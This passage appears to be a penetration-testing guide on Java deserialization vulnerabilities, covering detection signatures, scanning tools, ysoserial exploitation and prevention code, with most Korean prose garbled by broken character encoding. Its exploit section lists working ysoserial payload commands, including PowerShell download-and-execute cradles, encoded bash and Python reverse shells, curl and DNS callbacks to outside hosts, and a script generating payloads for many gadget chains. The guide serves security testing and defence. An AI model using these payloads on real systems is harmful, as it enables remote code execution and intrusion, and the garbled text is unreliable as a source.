ํ๋ฆฌ๋ฏธํฐ๋ธ, ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋๋ผ์ด๋ฒ ๋๋ ๊ธฐํ ์ธํฐํ๋ฆฌํฐ๋ฅผ ๋ํํ๋ ๋ชจ๋ ์๋ฒ ์ก์
์ ๊ณต๊ฒฉ์๊ฐ bound ๋ฐ์ดํฐ๋ฅผ ์ ์ดํ๊ฒ ๋๋ฉด ๋์ผํ๊ฒ ์
์ฉ๋ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์๋ ์ค์ React ํด๋ผ์ด์ธํธ๋ฅผ ์ ํ ํ์๋ก ํ์ง ์์ต๋๋คโ$ACTION_* ๋ฉํฐํํธ ํํ๋ฅผ ์์ฑํ๋ ์ด๋ค HTTP ๋๊ตฌ๋ผ๋ ์๋ฒ ์ก์
์ ์ง์ ํธ์ถํ๊ณ ๊ฒฐ๊ณผ JSON ์ถ๋ ฅ์ RCE primitive๋ก ์ฐ๊ฒฐํ ์ ์์ต๋๋ค.
Java - HTTP
In Java, deserialization callbacks are executed during the process of deserialization. ์ด ์คํ์ ์ด๋ฌํ callbacks๋ฅผ ํธ๋ฆฌ๊ฑฐํ๋๋ก ์ ์ฑ ํ์ด๋ก๋๋ฅผ ์ ์ํ ๊ณต๊ฒฉ์์ ์ํด ์ ์ฉ๋ ์ ์์ผ๋ฉฐ, ๊ทธ ๊ฒฐ๊ณผ ์ ํดํ ๋์์ด ์คํ๋ ์ ์์ต๋๋ค.
์ง๋ฌธ
ํ์ดํธ๋ฐ์ค
์ฝ๋๋ฒ ์ด์ค์์ ์ ์ฌ์ serialization ์ทจ์ฝ์ ์ ์๋ณํ๋ ค๋ฉด ๋ค์์ ๊ฒ์ํ์ธ์:
Serializable์ธํฐํ์ด์ค๋ฅผ ๊ตฌํํ ํด๋์ค.java.io.ObjectInputStream,readObject,readUnshareํจ์์ ์ฌ์ฉ.
ํนํ ์ฃผ์ํ ๊ฒ:
XMLDecoder๊ฐ ์ธ๋ถ ์ฌ์ฉ์๊ฐ ์ ์ํ ํ๋ผ๋ฏธํฐ์ ํจ๊ป ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ.XStream์fromXML๋ฉ์๋, ํนํ XStream ๋ฒ์ ์ด 1.46 ์ดํ์ธ ๊ฒฝ์ฐ์๋ serialization ๋ฌธ์ ์ ์ทจ์ฝํ ์ ์์.ObjectInputStream์ดreadObject๋ฉ์๋์ ํจ๊ป ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ.readObject,readObjectNodData,readResolve,readExternal๊ฐ์ ๋ฉ์๋์ ๊ตฌํ.ObjectInputStream.readUnshared.- ์ผ๋ฐ์ ์ธ
Serializable์ฌ์ฉ.
๋ธ๋๋ฐ์ค
๋ธ๋๋ฐ์ค ํ
์คํธ์์๋ java serialized objects๋ฅผ ๋ํ๋ด๋ ํน์ signatures ๋๋ โMagic Bytesโ๋ฅผ ์ฐพ์ผ์ธ์ (ObjectInputStream์์ ์ ๋):
- 16์ง์ ํจํด:
AC ED 00 05. - Base64 ํจํด:
rO0. - HTTP ์๋ต ํค๋์์
Content-type์ดapplication/x-java-serialized-object๋ก ์ค์ ๋ ๊ฒฝ์ฐ. - ์ด์ ์์ถ์ ๋ํ๋ด๋ 16์ง์ ํจํด:
1F 8B 08 00. - ์ด์ ์์ถ์ ๋ํ๋ด๋ Base64 ํจํด:
H4sIA. .facesํ์ฅ์๋ฅผ ๊ฐ์ง ์น ํ์ผ๊ณผfaces.ViewStateํ๋ผ๋ฏธํฐ. ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ด๋ฌํ ํจํด์ด ๋ฐ๊ฒฌ๋๋ฉด post about Java JSF ViewState Deserialization์ ์์ธํ ๋์ ์๋ ๋๋ก ๊ฒ์ฌ๋ฅผ ์ํํด์ผ ํฉ๋๋ค.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
์ทจ์ฝํ์ง ํ์ธํ๊ธฐ
๋ง์ฝ Java Deserialized exploit๊ฐ ์ด๋ป๊ฒ ์๋ํ๋์ง ๋ฐฐ์ฐ๊ณ ์ถ๋ค๋ฉด Basic Java Deserialization, Java DNS Deserialization, ๋ฐ CommonsCollection1 Payload๋ฅผ ์ดํด๋ณด์ธ์.
SignedObject-gated deserialization ๋ฐ pre-auth ๋๋ฌ์ฑ
ํ๋ ์ฝ๋๋ฒ ์ด์ค๋ ์ข
์ข
์ญ์ง๋ ฌํ ๊ณผ์ ์ java.security.SignedObject๋ก ๊ฐ์ธ๊ณ , ๋ด๋ถ ๊ฐ์ฒด๋ฅผ ์ญ์ง๋ ฌํํ๋ getObject()๋ฅผ ํธ์ถํ๊ธฐ ์ ์ ์๋ช
์ ๊ฒ์ฆํฉ๋๋ค. ์ด๋ ์์์ ์ต์์ gadget classes๋ฅผ ์ฐจ๋จํ์ง๋ง, ๊ณต๊ฒฉ์๊ฐ ์ ํจํ ์๋ช
(์: private-key compromise ๋๋ signing oracle)์ ํ๋ํ ์ ์๋ค๋ฉด ์ฌ์ ํ ์
์ฉ๋ ์ ์์ต๋๋ค. ๋ํ ์ค๋ฅ ์ฒ๋ฆฌ ํ๋ฆ์์ ์ธ์ฆ๋์ง ์์ ์ฌ์ฉ์์๊ฒ ์ธ์
๋ฐ์ด๋ ํ ํฐ์ ๋ฐ๊ธํด ์ ์๋ ๋ณดํธ๋๋ sinks๊ฐ pre-auth ์ํ์์ ๋
ธ์ถ๋ ์ ์์ต๋๋ค.
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
ํ์ดํธ๋ฐ์ค ํ ์คํธ
์ค์น๋ ์ ํ๋ฆฌ์ผ์ด์ ์ค ์๋ ค์ง ์ทจ์ฝ์ ์ ๊ฐ์ง ๊ฒ์ด ์๋์ง ํ์ธํ ์ ์์ต๋๋ค.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) donโt care about the tons of warnings/errors that itโs going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector wonโt create an exploit and it may indicate false positives.
Black Box Test
Burp ํ์ฅ์ธ gadgetprobe๋ฅผ ์ฌ์ฉํ๋ฉด ์ด๋ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ฌ์ฉ ๊ฐ๋ฅํ์ง(์ฌ์ง์ด ๋ฒ์ ๊น์ง) ์๋ณํ ์ ์์ต๋๋ค. ์ด ์ ๋ณด๋ฅผ ํตํด ์ด๋ค payload๋ฅผ ์ ํํ ์ง ๊ฒฐ์ ํ๊ธฐ๊ฐ ๋ ์ฌ์์ง ์ ์์ต๋๋ค.
GadgetProbe์ ๋ํด ๋ ์๊ณ ์ถ๋ค๋ฉด ์ด ๋ฌธ์๋ฅผ ์ฝ์ผ์ธ์.
GadgetProbe๋ ObjectInputStream deserializations์ ์ด์ ์ ๋ง์ถ๊ณ ์์ต๋๋ค.
Burp ํ์ฅ์ธ Java Deserialization Scanner๋ฅผ ์ฌ์ฉํ๋ฉด ysoserial๋ก exploit ๊ฐ๋ฅํ ์ทจ์ฝํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์๋ณํ๊ณ exploitํ ์ ์์ต๋๋ค.
Java Deserialization Scanner์ ๋ํด ๋ ์๊ณ ์ถ๋ค๋ฉด ์ด ๋ฌธ์๋ฅผ ์ฝ์ผ์ธ์.
Java Deserialization Scanner๋ ObjectInputStream deserializations์ ์ด์ ์ ๋ง์ถ๊ณ ์์ต๋๋ค.
๋ํ Freddy๋ฅผ ์ฌ์ฉํด Burp์์ deserializations ์ทจ์ฝ์ ์ ํ์งํ ์ ์์ต๋๋ค. ์ด ํ๋ฌ๊ทธ์ธ์ ObjectInputStream ๊ด๋ จ ์ทจ์ฝ์ ๋ฟ๋ง ์๋๋ผ Json ๋ฐ Yml deserialization ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ๋ ํ์งํฉ๋๋ค. ํ์ฑ ๋ชจ๋์์๋ sleep ๋๋ DNS payload๋ฅผ ์ฌ์ฉํด ์ด๋ฅผ ํ์ธํ๋ ค ์๋ํฉ๋๋ค.
Freddy์ ๋ํ ์์ธํ ๋ด์ฉ์ ์ฌ๊ธฐ์์ ํ์ธํ์ธ์.
Serialization Test
์๋ฒ๊ฐ ์ด๋ค ์ทจ์ฝํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋์ง ํ์ธํ๋ ๊ฒ๋ง ์ ๋ถ๊ฐ ์๋๋๋ค. ๋๋ก๋ ์ง๋ ฌํ๋ ๊ฐ์ฒด ๋ด์ ๋ฐ์ดํฐ๋ฅผ ๋ณ๊ฒฝํ์ฌ ์ผ๋ถ ๊ฒ์ฆ์ ์ฐํํ ์ ์์ต๋๋ค(์: ์น์ฑ ๋ด์์ admin privileges๋ฅผ ์ป๋ ๊ฒฝ์ฐ).
์น ์ ํ๋ฆฌ์ผ์ด์
์ผ๋ก ์ ์ก๋๋ java serialized object๋ฅผ ์ฐพ์ผ๋ฉด, **SerializationDumper**๋ฅผ ์ฌ์ฉํด ์ ์ก๋๋ serialization object๋ฅผ ์ฌ๋์ด ์ฝ๊ธฐ ์ฌ์ด ํ์์ผ๋ก ์ถ๋ ฅํ ์ ์์ต๋๋ค. ์ด๋ค ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๋์ง ์๋ฉด ์ด๋ฅผ ์์ ํด ์ผ๋ถ ๊ฒ์ฆ์ ์ฐํํ๊ธฐ๊ฐ ๋ ์ฌ์์ง๋๋ค.
Exploit
ysoserial
Java deserializations๋ฅผ exploitํ๊ธฐ ์ํ ์ฃผ์ ๋๊ตฌ๋ ysoserial (download here)์
๋๋ค. ๋ณต์กํ ๋ช
๋ น(์: ํ์ดํ ํฌํจ)์ ์ฌ์ฉํ๋ ค๋ฉด ysoseral-modified๋ฅผ ๊ณ ๋ คํ ์๋ ์์ต๋๋ค.
์ด ๋๊ตฌ๋ ObjectInputStream exploit์ ์ค์ ์ ๋๋ค๋ ์ ์ ์ ์ํ์ธ์.
injection์ด ๊ฐ๋ฅํ์ง ํ
์คํธํ๊ธฐ ์ํด RCE payload ์ด์ ์ โURLDNSโ payload๋ฅผ ๋จผ์ ์ฌ์ฉํด๋ณด๋ ๊ฒ์ ๊ถํฉ๋๋ค. ์ด์จ๋ โURLDNSโ payload๊ฐ ์๋ํ์ง ์์ง๋ง ๋ค๋ฅธ RCE payload๋ ์๋ํ ์ ์๋ค๋ ์ ๋ ๊ธฐ์ตํ์ธ์.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
**java.lang.Runtime.exec()**์ฉ payload๋ฅผ ๋ง๋ค ๋๋ ์คํ ๊ฒฐ๊ณผ๋ฅผ ๋ฆฌ๋ค์ด๋ ํธํ๊ธฐ ์ํด โ>โ๋ โ|โ ๊ฐ์ ํน์ ๋ฌธ์๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค, โ$()โ๋ก ๋ช
๋ น์ ์คํํ ์๋ ์๊ณ ์ฌ์ง์ด ๊ณต๋ฐฑ์ผ๋ก ๊ตฌ๋ถ๋ ์ธ์๋ฅผ ๋ช
๋ น์ pass arguments ํ๋ ๊ฒ๋ ๋ถ๊ฐ๋ฅํฉ๋๋ค(์: echo -n "hello world"๋ ๊ฐ๋ฅํ์ง๋ง python2 -c 'print "Hello world"'๋ ๋ถ๊ฐ๋ฅํฉ๋๋ค). payload๋ฅผ ์ฌ๋ฐ๋ฅด๊ฒ ์ธ์ฝ๋ฉํ๋ ค๋ฉด use this webpage๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
๋ค์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ์ฌ Windows and Linux์ฉ all the possible code execution payloads๋ฅผ ์์ฑํ ๋ค์ ์ทจ์ฝํ ์น ํ์ด์ง์์ ํ ์คํธํด ๋ณด์ธ์:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
๋ค์ ๋ฆฌํฌ์งํ ๋ฆฌ https://github.com/pwntester/SerialKillerBypassGadgetCollection๋ฅผ ์ฌ์ฉํ์ฌ ysoserial๊ณผ ํจ๊ป ๋ ๋ง์ exploits๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค. ์ด ๋๊ตฌ๊ฐ ์๊ฐ๋ ๋ฐํ์ ์ฌ๋ผ์ด๋์์ ๋ ๋ง์ ์ ๋ณด๋ฅผ ํ์ธํ ์ ์์ต๋๋ค: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec ๋ Java์ ๋ค์ํ Json ๋ฐ Yml ์ง๋ ฌํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ exploitํ๊ธฐ ์ํ payloads๋ฅผ ์์ฑํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
ํ๋ก์ ํธ๋ฅผ ์ปดํ์ผํ๊ธฐ ์ํด pom.xml์ ๋ค์ ์์กด์ฑ์ ์ถ๊ฐํด์ผ ํ์ต๋๋ค:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
maven ์ค์น, ๊ทธ๋ฆฌ๊ณ ํ๋ก์ ํธ๋ฅผ compile ํ์ธ์:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
์ด Java JSON ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ํด ๋ ์์๋ณด๊ธฐ: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- ysoserial payloads๋ฅผ ํ ์คํธํ๊ณ ์ถ๋ค๋ฉด ์ด webapp์ ์คํํ ์ ์์ต๋๋ค: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
Java๋ ๋ค์๊ณผ ๊ฐ์ ๋ค์ํ ๋ชฉ์ ์ ๋ํด ๋ง์ ์ง๋ ฌํ๋ฅผ ์ฌ์ฉํฉ๋๋ค:
- HTTP requests: ๋งค๊ฐ๋ณ์, ViewState, ์ฟ ํค ๋ฑ ๊ด๋ฆฌ์์ ์ง๋ ฌํ๊ฐ ๋๋ฆฌ ์ฌ์ฉ๋ฉ๋๋ค.
- RMI (Remote Method Invocation): ์ ์ ์ผ๋ก ์ง๋ ฌํ์ ์์กดํ๋ Java RMI ํ๋กํ ์ฝ์ Java ์ ํ๋ฆฌ์ผ์ด์ ์ ์๊ฒฉ ํต์ ์ ์์ด ํต์ฌ์ ๋๋ค.
- RMI over HTTP: Java ๊ธฐ๋ฐ์ thick client ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋๋ฉฐ, ๋ชจ๋ ๊ฐ์ฒด ํต์ ์ ์ง๋ ฌํ๋ฅผ ํ์ฉํฉ๋๋ค.
- JMX (Java Management Extensions): JMX๋ ๋คํธ์ํฌ๋ฅผ ํตํด ๊ฐ์ฒด๋ฅผ ์ ์กํ ๋ ์ง๋ ฌํ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
- Custom Protocols: Java์์๋ ์ผ๋ฐ์ ์ผ๋ก raw Java objects๋ฅผ ์ ์กํ๋ ๊ดํ์ด ์์ผ๋ฉฐ, ์ด๋ ์ดํ์ exploit ์์ ์์ ์์ฐ๋ ๊ฒ์ ๋๋ค.
Prevention
Transient objects
Serializable์ ๊ตฌํํ๋ ํด๋์ค๋ ํด๋์ค ๋ด๋ถ์์ ์ง๋ ฌํ๋์ด์๋ ์ ๋๋ ๊ฐ์ฒด๋ฅผ transient๋ก ํ์ํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializable๋ฅผ ๊ตฌํํด์ผ ํ๋ ํด๋์ค์ ์ง๋ ฌํ ๋ฐฉ์ง
ํด๋์ค ๊ณ์ธต ๋๋ฌธ์ ํน์ ๊ฐ์ฒด๊ฐ Serializable๋ฅผ ๊ตฌํํด์ผ ํ๋ ๊ฒฝ์ฐ, ์๋์น ์์ ์ญ์ง๋ ฌํ(deserialization)์ ์ํ์ด ์์ต๋๋ค. ์ด๋ฅผ ๋ฐฉ์งํ๋ ค๋ฉด, ์๋์ ๊ฐ์ด ํญ์ ์์ธ๋ฅผ ๋์ง๋ final readObject() ๋ฉ์๋๋ฅผ ์ ์ํ์ฌ ํด๋น ๊ฐ์ฒด๊ฐ ์ญ์ง๋ ฌํ๋์ง ์๋๋ก ํ์ธ์:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Java์์ Deserialization ๋ณด์ ๊ฐํ
**Customizing java.io.ObjectInputStream**๋ deserialization ํ๋ก์ธ์ค๋ฅผ ๋ณดํธํ๊ธฐ ์ํ ์ค์ฉ์ ์ธ ๋ฐฉ๋ฒ์
๋๋ค. ์ด ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ ๊ฒฝ์ฐ์ ์ ํฉํฉ๋๋ค:
- deserialization ์ฝ๋๋ฅผ ์ง์ ๊ด๋ฆฌํ ์ ์๋ ๊ฒฝ์ฐ.
- deserialization์ ์ฌ์ฉ๋ ํด๋์ค๋ค์ด ์๋ ค์ ธ ์๋ ๊ฒฝ์ฐ.
ํ์ฉ๋ ํด๋์ค๋ง deserialization๋๋๋ก ์ ํํ๊ธฐ ์ํด resolveClass() ๋ฉ์๋๋ฅผ ์ฌ์ ์ํ์ธ์. ์ด๋ ๊ฒ ํ๋ฉด ๋ช
์์ ์ผ๋ก ํ์ฉ๋ ํด๋์ค ์ด์ธ์ ์ด๋ค ํด๋์ค๋ deserialization๋๋ ๊ฒ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ๋ค์ ์์๋ deserialization์ Bicycle ํด๋์ค๋ง ํ์ฉํ๋๋ก ์ ํํฉ๋๋ค:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement์ ์ฝ๋ ์์ ์ ํ ์ ์์ ๋ ๋์ฒด ์๋ฃจ์ ์ ์ ๊ณตํฉ๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์ฃผ๋ก blacklisting harmful classes์ ์ ์ฉ๋๋ฉฐ, JVM ํ๋ผ๋ฏธํฐ๋ฅผ ์ฌ์ฉํฉ๋๋ค:
-javaagent:name-of-agent.jar
์ฆ์ ์ฝ๋ ๋ณ๊ฒฝ์ด ๋ถ๊ฐ๋ฅํ ํ๊ฒฝ์ ์ ํฉํ, deserialization์ ๋์ ์ผ๋ก ๋ณดํธํ๋ ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค.
Check and example in rO0 by Contrast Security
Implementing Serialization Filters: Java 9์ ObjectInputFilter ์ธํฐํ์ด์ค๋ฅผ ํตํด serialization filters๋ฅผ ๋์
ํ์ฌ, serialized objects๊ฐ deserialized๋๊ธฐ ์ ์ ์ถฉ์กฑํด์ผ ํ ๊ธฐ์ค์ ์ง์ ํ ์ ์๋ ๊ฐ๋ ฅํ ๋ฉ์ปค๋์ฆ์ ์ ๊ณตํฉ๋๋ค. ์ด๋ฌํ ํํฐ๋ ์ ์ญ์ ์ผ๋ก ๋๋ ์คํธ๋ฆผ๋ณ๋ก ์ ์ฉํ ์ ์์ด deserialization ํ๋ก์ธ์ค๋ฅผ ์ธ๋ฐํ๊ฒ ์ ์ดํ ์ ์์ต๋๋ค.
serialization filters๋ฅผ ํ์ฉํ๋ ค๋ฉด ๋ชจ๋ deserialization ์์ ์ ์ ์ฉ๋๋ ์ ์ญ ํํฐ๋ฅผ ์ค์ ํ๊ฑฐ๋ ํน์ ์คํธ๋ฆผ์ ๋ํด ๋์ ์ผ๋ก ๊ตฌ์ฑํ ์ ์์ต๋๋ค. ์:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ด์ฉํ ๋ณด์ ๊ฐํ: NotSoSerial, jdeserialize, Kryo ๊ฐ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ Java deserialization์ ์ ์ดํ๊ณ ๋ชจ๋ํฐ๋งํ๊ธฐ ์ํ ๊ณ ๊ธ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ์ด๋ฌํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ ํด๋์ค ํ์ดํธ๋ฆฌ์คํธ/๋ธ๋๋ฆฌ์คํธ ์ ์ฉ, deserialization ์ ์ serialized ๊ฐ์ฒด ๋ถ์, ์ฌ์ฉ์ ์ ์ serialization ์ ๋ต ๊ตฌํ ๋ฑ ์ถ๊ฐ์ ์ธ ๋ณด์ ๊ณ์ธต์ ์ ๊ณตํ ์ ์์ต๋๋ค.
- NotSoSerial์ deserialization ๊ณผ์ ์ ๊ฐ๋ก์ฑ ์ ๋ขฐํ ์ ์๋ ์ฝ๋ ์คํ์ ๋ฐฉ์งํฉ๋๋ค.
- jdeserialize๋ ๊ฐ์ฒด๋ฅผ ์ค์ ๋ก deserializingํ์ง ์๊ณ ๋ serialized Java ๊ฐ์ฒด๋ฅผ ๋ถ์ํ์ฌ ์ ์ฌ์ ์ผ๋ก ์ ์์ ์ธ ์ฝํ ์ธ ๋ฅผ ์๋ณํ ์ ์๊ฒ ํด์ค๋๋ค.
- Kryo๋ ์๋์ ํจ์จ์ ๊ฐ์กฐํ๋ ๋์ฒด serialization ํ๋ ์์ํฌ๋ก, ๋ณด์์ ํฅ์์ํฌ ์ ์๋ ๊ตฌ์ฑ ๊ฐ๋ฅํ serialization ์ ๋ต์ ์ ๊ณตํฉ๋๋ค.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
